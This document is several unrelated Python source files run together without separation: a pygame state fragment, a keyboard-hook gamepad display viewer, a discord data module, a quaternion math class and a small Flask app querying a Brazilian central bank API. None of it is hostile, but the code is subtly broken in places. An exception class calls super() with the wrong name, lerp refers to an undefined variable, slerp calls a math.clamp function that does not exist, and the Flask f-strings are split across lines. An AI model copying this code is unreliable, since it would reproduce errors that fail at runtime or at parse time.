        # Give the state a chance to respond to any pygame events that
        # have been fired.
        self.player.process_event(event)
        self.ui_manager.process_events(event)

        if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:
            self.is_time_to_transition = True
            self.transition_target = 'main_menu_state'

    def draw(self):
        # Draw this state to the application's window surface.
        self.window_surface.blit(self.background_surface, (0, 0))
        self.ui_manager.draw_ui(self.window_surface)
        self.all_sprites.draw(self.window_surface)


#Imports
import os
import sys
import glob
import pickle
from tkinter import filedialog, messagebox
import tkinter as tk
import pygame
import keyboard

#Set up tkinter for alerts and directy grabber
root = tk.Tk()
root.withdraw()
root.iconphoto(False, tk.PhotoImage(file='icon.png'))

#Quit function
def quit():
    keyboard.unhook_all()
    pygame.display.quit()
    pygame.quit()
    sys.exit()

class RestartingException(Exception):
    def __init__(self, message='Key Empty'):
        # Call the base class constructor with the parameters it needs
        super(KeyEmptyException, self).__init__(message)

#Main Loop
while True:
    #initializer Pygame, this will reset pygame when switching skings
    pygame.init()

    #Setting icon
    icon = pygame.image.load("icon.png")
    pygame.display.set_icon(icon)

    #Loading a skin
    try:
        #skin directory is stored in pickle attempt to open
        path = pickle.load(open("save.p", "rb"))
        if(path.startswith("restarting")):
            #save previous path
            if(path.startswith("restarting")):
                oldPath = path[10:]

            #Ask directory
            tempPath = filedialog.askdirectory(initialdir=os.getcwd() + "\\Skins\\",)

            #if they click cancel close the program
            if(tempPath ==  ""):
                path = oldPath
            else:
                path = tempPath

            #save the directory in a pickle
            pickle.dump(path, open( "save.p", "wb" ) )
            try:
                #attempt again to load background
                bg = pygame.image.load(path + '/background.png')
            except pygame.error as e:
                #alert the user that they have chosen a bad directory and close the program
                messagebox.showinfo("Error", "Bad Directory: Couldn't find background.png\nLoading NES Skin")
                path = os.getcwd() + "\\Skins\\NES"
                pickle.dump(path, open( "save.p", "wb" ) )
                bg = pygame.image.load(path + '/background.png')
        #attempt to load the background image
        bg = pygame.image.load(path + '/background.png')

    #If there is no saved pickle load the NES skin by default
    except (FileNotFoundError, NameError) as e:
        path = os.getcwd() + "\\Skins\\NES"
        pickle.dump(path, open( "save.p", "wb" ) )
        bg = pygame.image.load(path + '/background.png')

    #Set up the main window
    mainDisplay = pygame.display.set_mode(bg.get_size())
    pygame.display.set_caption('Virtual Gamepad Viewer')

    bg = bg.convert()
    mainDisplay.blit(bg, (0,0))
    pygame.display.flip()

    #This array stores all the .png images along with their keycodes
    #example:
    #images[0][0] = [[43], [12,54]] keycodes that activate the image
    #images[0][1] will be the pygame image object
    images = []

    #Iintialize the boolean and font for showing keycode
    printingCodes = False

    #Initalize font for printed keycodes
    font = pygame.font.Font(pygame.font.get_default_font(), int(bg.get_rect().size[1]/6))

    #Initalize clock this will limit the framerate
    clock = pygame.time.Clock();

    #this bool handles restarting of program
    restarting = False

    #search for every png file in the chose directory
    for file in glob.glob(path + "/*.png"):
        #remove the file extensions and parse into nested array
        #"37-37+38-35" -> [[37],[37,38],[35]]
        keysToBePressed = file[len(path)+1:-4].split("-")
        keysToBePressed = [i.split("+") for i in keysToBePressed]

        #create empty array for for the keycodes that will activate an image
        keysToBePressedSanitized = []

        for codes in keysToBePressed:
            keyCodesToBePressedTemp = []
            for keycode in codes:
                try:
                    #attempt to convert it to an int
                    keyCodesToBePressedTemp.append(int(keycode))
                except(ValueError):
                    #if this fails use it as a key name
                    if(keycode != 'background'):
                        keyCodesToBePressedTemp.append(keycode)

            #add this to to the keysToBePressedSanitized list, ignore empty
            if(keyCodesToBePressedTemp != []):
                keysToBePressedSanitized.append(keyCodesToBePressedTemp)

        #create an image object to be stored in images, ignore if keys to activate are empty
        if(keysToBePressedSanitized != []):
            tempObj = [keysToBePressedSanitized, pygame.image.load(file).convert_alpha()]
            images.append(tempObj)

    #function that is called on a keyboard event(Key up or key down)
    def drawImage(e):
        #redraw the background
        mainDisplay.blit(bg, (0,0))

        #for each image and keycode pair

        for imageObject in images:
            #example:
            #imageObject[0] = [[37],[48,49]]
            #checks to see if 37 or (48 and 49) are pressed
            for i in imageObject[0]:
                pressed = True
                for j in i:
                    try:
                        if(not keyboard.is_pressed(j)):
                            pressed = False
                    except ValueError:
                        badkeyCode = j
                        print(badkeyCode)

                #if any required key combo is pressed display the image
                if(pressed):
                    mainDisplay.blit(imageObject[1], (0,0))

        #if printing codes
        if(printingCodes):
            #grab every currently pressed key
            line = ', '.join(str(code) for code in keyboard._pressed_events)
            #render and display the text
            textsurface = font.render(line, False, (0, 0, 0), (255,255,255))
            mainDisplay.blit(textsurface,(0,0))

        #update the display
        pygame.display.flip()

    #add drawImage to the keyboard hook
    keyboard.hook(drawImage)

    #Test if everykeycode is valid
    for imageObject in images:
        for i in imageObject[0]:
            for j in i:
                try:
                    keyboard.is_pressed(j)
                except ValueError:
                    #If a keycode is not, throw an error message and switch to default
                    messagebox.showinfo("Error", "Bad Keycode \"" +j+ "\" is not a valid keycode or keyname\nCheck documentation for details\nLoading NES Skin")
                    path = os.getcwd() + "\\Skins\\NES"
                    pickle.dump(path, open( "save.p", "wb" ) )
                    #restart
                    restarting = True

    while not restarting:
        #limit framerate to 60fps
        clock.tick(60)
        #main pygame event loop
        for event in pygame.event.get():

            #if the X button is pressed exit the game
            if event.type == pygame.QUIT:
                #unhook keyboard and quit pygame, and python
                quit()

            #pygame mouse input
            if event.type == pygame.MOUSEBUTTONUP:
                #chose new skin on right click
                if event.button == 3:
                    #append the term restarting to path to make it an invalid path
                    #this will cause a type error on restart
                    #which will bring up the choose directory dialouge

                    path = "restarting" + path
                    pickle.dump(path, open( "save.p", "wb" ) )
                    #restart
                    restarting = True

                #on middle click toggle printing keycodes
                if event.button == 2:
                    printingCodes = not printingCodes


"""Holds shared data and data structures for tb_discord to prevent import chains"""
from collections import deque
from discord import Message, Role

class RolesMessage:
	"""Shell class for message object with role data attached"""
	def __init__(self, message: Message, roles: list[Role]):
		self.message = message
		self.roles = roles

role_messages: deque[RolesMessage] = deque()


import math

from engine_math import vector3
from engine_math import matrix4
from engine_math import matrix3

#todo, maybe we should switch to x,y,z components instead of an vector3 for performance reasons

class Quaternion:

	def __init__(self, axis = vector3.Vector3(), w = 1.0):
		self.axis	= axis
		self.w 		= w

	def get_axis_quaternion(self):
		half_angle = self.w/2
		sin_angle  = math.sin(half_angle)

		self.axis.x = self.axis.x * sin_angle
		self.axis.y = self.axis.y * sin_angle
		self.axis.z = self.axis.z * sin_angle
		self.w      = math.cos(half_angle)

		return Quaternion(self.axis, self.w)

	def get_angle_axis(self):

		if self.w > 1.0 or self.w < -1.0:
			self.normalize()

		angle = 2.0 * math.acos(self.w)
		s = math.sqrt(1.0 - self.w * self.w)

		if s < 0.001:
			return angle, self.axis

		return angle, (self.axis / s)

	@staticmethod
	def from_axis(axis, w):
		return Quaternion(axis, w).get_axis_quaternion()

	@staticmethod
	def look_at(direction, up_vector = vector3.Vector3(0.0,1.0,0.0) ):
		matrix = matrix4.Matrix4()
		matrix.set_Look_matrix(direction, up_vector)

		return Quaternion.from_matrix(matrix)

	@staticmethod
	def from_euler(pitch, yaw, roll):
		result = Quaternion()

		p = pitch  * 0.5
		y = yaw    * 0.5
		r = roll   * 0.5

		sinp = math.sin(p);
		siny = math.sin(y);
		sinr = math.sin(r);
		cosp = math.cos(p);
		cosy = math.cos(y);
		cosr = math.cos(r);

		result.axis.x = sinr * cosp * cosy - cosr * sinp * siny;
		result.axis.y = cosr * sinp * cosy + sinr * cosp * siny;
		result.axis.z = cosr * cosp * siny - sinr * sinp * cosy;
		result.w      = cosr * cosp * cosy + sinr * sinp * siny;

		return result

	@staticmethod
	def from_matrix(matrix):
		trace = matrix.m[0][0] + matrix.m[1][1] + matrix.m[2][2]

		if trace > 0.0:
			s 	= 0.5 / math.sqrt(trace + 1.0)
			m_w = 0.25 / s
			m_x = (matrix.m[1][2] - matrix.m[2][1]) * s
			m_y = (matrix.m[2][0] - matrix.m[0][2]) * s
			m_z = (matrix.m[0][1] - matrix.m[1][0]) * s
		else:
			if matrix.m[0][0] > matrix.m[1][1] and matrix.m[0][0] > matrix.m[2][2]:
				s 	= math.sqrt(1.0 + matrix.m[0][0] - matrix.m[1][1] - matrix.m[2][2]) * 2.0
				m_w = (matrix.m[1][2] - matrix.m[2][1]) / s
				m_x = 0.25 * s
				m_y = (matrix.m[1][0] + matrix.m[0][1]) / s
				m_z = (matrix.m[2][0] + matrix.m[0][2]) / s
			elif matrix.m[1][1] > matrix.m[2][2]:
				s 	= math.sqrt(1.0 + matrix.m[1][1] - matrix.m[0][0] - matrix.m[2][2]) * 2.0
				m_w = (matrix.m[2][0] - matrix.m[0][2]) / s
				m_x = (matrix.m[1][0] + matrix.m[0][1]) / s
				m_y = 0.25 * s
				m_z = (matrix.m[2][1] + matrix.m[1][2]) / s
			else:
				s 	= math.sqrt(1.0 + matrix.m[2][2] - matrix.m[0][0] - matrix.m[1][1]) * 2.0
				m_w = (matrix.m[0][1] - matrix.m[1][0] ) / s
				m_x = (matrix.m[2][0] + matrix.m[0][2] ) / s
				m_y = (matrix.m[2][1] + matrix.m[1][2] ) / s
				m_z = 0.25 * s

		return Quaternion(vector3.Vector3(m_x,m_y,m_z), m_w)

	def get_len(self):
		return math.sqrt( self.axis.x * self.axis.x + self.axis.y*self.axis.y + self.axis.z * self.axis.z + self.w*self.w)

	def normalize(self):
		length = self.get_len()

		if(length == 0):
			length = 1.0

		self.axis	= self.axis / length
		self.w		= self.w	/ length

	def get_normalized(self):
		length = self.get_len()

		if(length == 0):
			length = 1.0

		norm_axis 	= vector3.Vector3(self.axis.x / length, self.axis.y / length, self.axis.z / length)
		norm_w		= self.w    / length

		return Quaternion(norm_axis, norm_w)

	def get_conjugate(self):
		return Quaternion(self.axis.inverse(), self.w)

	def dot(self, other):
		return self.axis.dot(other.axis) + self.w * other.w

	def get_dot_length(self):
		return self.dot(self)

	def lerp(self, factor):
		return self + ((other-self).scale(factor))

	def slerp(self, other, t):
		angle = self.dot(other)
		quat1 = self

		if angle < 0.0:
			quat1 = self.scale( -1.0 )
			angle = -angle

		if 1.0 - angle > 0.001:
			return self.lerp(other, t)

		angle 	= math.clamp( angle, -1.0, 1.0)
		theta 	= math.acos(angle) * t
		co_quat	= (other - self.scale(angle) )

		return self.scale(math.cos(theta)) + co_quat.scale(math.sin(theta))

	def mul_vector3(self, vec):

		n_w = -self.axis.x * vec.x - self.axis.y * vec.y - self.axis.z * vec.z
		n_x =  self.w	   * vec.x + self.axis.y * vec.z - self.axis.z * vec.y
		n_y =  self.w	   * vec.y + self.axis.z * vec.x - self.axis.x * vec.z
		n_z =  self.w	   * vec.z + self.axis.x * vec.y - self.axis.y * vec.x

		return Quaternion(vector3.Vector3(n_x,n_y,n_z), n_w)

	def mul_value(self, val):
		return Quaternion(self.axis * val, self.w * val)

	def __mul__(self, other):
		a = self
		b = other

		n_w = a.w * b.w 		- a.axis.x * b.axis.x 	- a.axis.y * b.axis.y 	- a.axis.z * b.axis.z
		n_x = a.w * b.axis.x 	+ a.axis.x * b.w 		+ a.axis.y * b.axis.z 	- a.axis.z * b.axis.y
		n_y = a.w * b.axis.y 	- a.axis.x * b.axis.z 	+ a.axis.y * b.w 		+ a.axis.z * b.axis.x
		n_z = a.w * b.axis.z 	+ a.axis.x * b.axis.y 	- a.axis.y * b.axis.x 	+ a.axis.z * b.w

		return Quaternion(vector3.Vector3(n_x,n_y,n_z), n_w)

	def __sub__(self, other):
		return Quaternion(self.axis - other.axis, self.w - other.w)

	def __add__(self, other):
		return Quaternion(self.axis + other.axis, self.w + other.w)

	def scale(self, val):
		return Quaternion(self.axis * val, self.w * val)

	def __repr__(self):
		return 'X = ' + str( round( self.axis.x, 4) ).ljust(8, '0')[0:8] + '\nY = ' + str( round( self.axis.y, 4) ).ljust(8, '0')[0:8] + '\nZ = ' + str( round( self.axis.z, 4) ).ljust(8, '0')[0:8] + '\nW = ' + str( round( self.w, 4) ).ljust(8, '0')[0:8] + '\n'

	def to_matrix3(self):
		result = matrix3.Matrix3()
		a = result.m

		xx = 2.0 * self.axis.x * self.axis.x
		xy = 2.0 * self.axis.x * self.axis.y
		xz = 2.0 * self.axis.x * self.axis.z
		xw = 2.0 * self.axis.x * self.w

		yy = 2.0 * self.axis.y * self.axis.y
		yz = 2.0 * self.axis.y * self.axis.z
		yw = 2.0 * self.axis.y * self.w

		zz = 2.0 * self.axis.z * self.axis.z
		zw = 2.0 * self.axis.z * self.w

		a[0][0] = 1.0 - yy - zz
		a[0][1] = xy+zw
		a[0][2] = xz-yw

		a[1][0] = xy - zw
		a[1][1] = 1.0 - xx - zz
		a[1][2] = yz + xw

		a[2][0] = xz + yw
		a[2][1] = yz - xw
		a[2][2] = 1.0 - xx - yy

		return result

	#from https://paroj.github.io/gltut/Positioning/Tut08%20Quaternions.html
	def to_matrix4(self):
		result = matrix4.Matrix4()
		a = result.m

		xx = 2.0 * self.axis.x * self.axis.x
		xy = 2.0 * self.axis.x * self.axis.y
		xz = 2.0 * self.axis.x * self.axis.z
		xw = 2.0 * self.axis.x * self.w

		yy = 2.0 * self.axis.y * self.axis.y
		yz = 2.0 * self.axis.y * self.axis.z
		yw = 2.0 * self.axis.y * self.w

		zz = 2.0 * self.axis.z * self.axis.z
		zw = 2.0 * self.axis.z * self.w

		a[0][0] = 1.0 - yy - zz
		a[0][1] = xy+zw
		a[0][2] = xz-yw

		a[1][0] = xy - zw
		a[1][1] = 1.0 - xx - zz
		a[1][2] = yz + xw

		a[2][0] = xz + yw
		a[2][1] = yz - xw
		a[2][2] = 1.0 - xx - yy

		a[3][3] = 1.0

		return result


# Full Example to Docs
from flask import Flask, send_from_directory
from flask_restful import Api
from flask_cors import CORS
from HelloApiHandler import HelloApiHandler
from setup_data import dados
import pandas as pd
import requests

app = Flask(__name__, static_url_path='',
            static_folder='../BackEnd/templates')
CORS(app)

api = Api(app)
info = dados()

dataIni = "01/01/2000"
dataFim = "01/01/2002"

URL_Table = requests.get(
    f"https://api.bcb.gov.br/dados/serie/bcdata.sgs.433/dados?formato=json&dataInicial={dataIni}&dataFinal={dataFim}").content

URL = requests.get(
    f"https://api.bcb.gov.br/dados/serie/bcdata.sgs.433/dados?formato=json&dataInicial={dataIni}&dataFinal={dataFim}").json()

@app.route("/")
def servidor():
    return send_from_directory(app.static_folder, 'setup.html')

@app.route("/somatorio")
def somatorio():
    return f"
A soma de todos os valores eh = ${info}
"

@app.route("/requisicao", methods=['GET'])
def requisicao():
    return URL_Table

@app.route("/valor_resp_interv")
def valor_resp():
    table = pd.DataFrame(URL)
    soma = [float(string) for string in table['valor']]
    return f"
A soma dos valores entre {dataIni} e {dataFim} eh = R${round(sum(soma), 2)}
"

api.add_resource(HelloApiHandler, '/flask/hello')

if __name__ == '__main__':
    app.run(debug=True)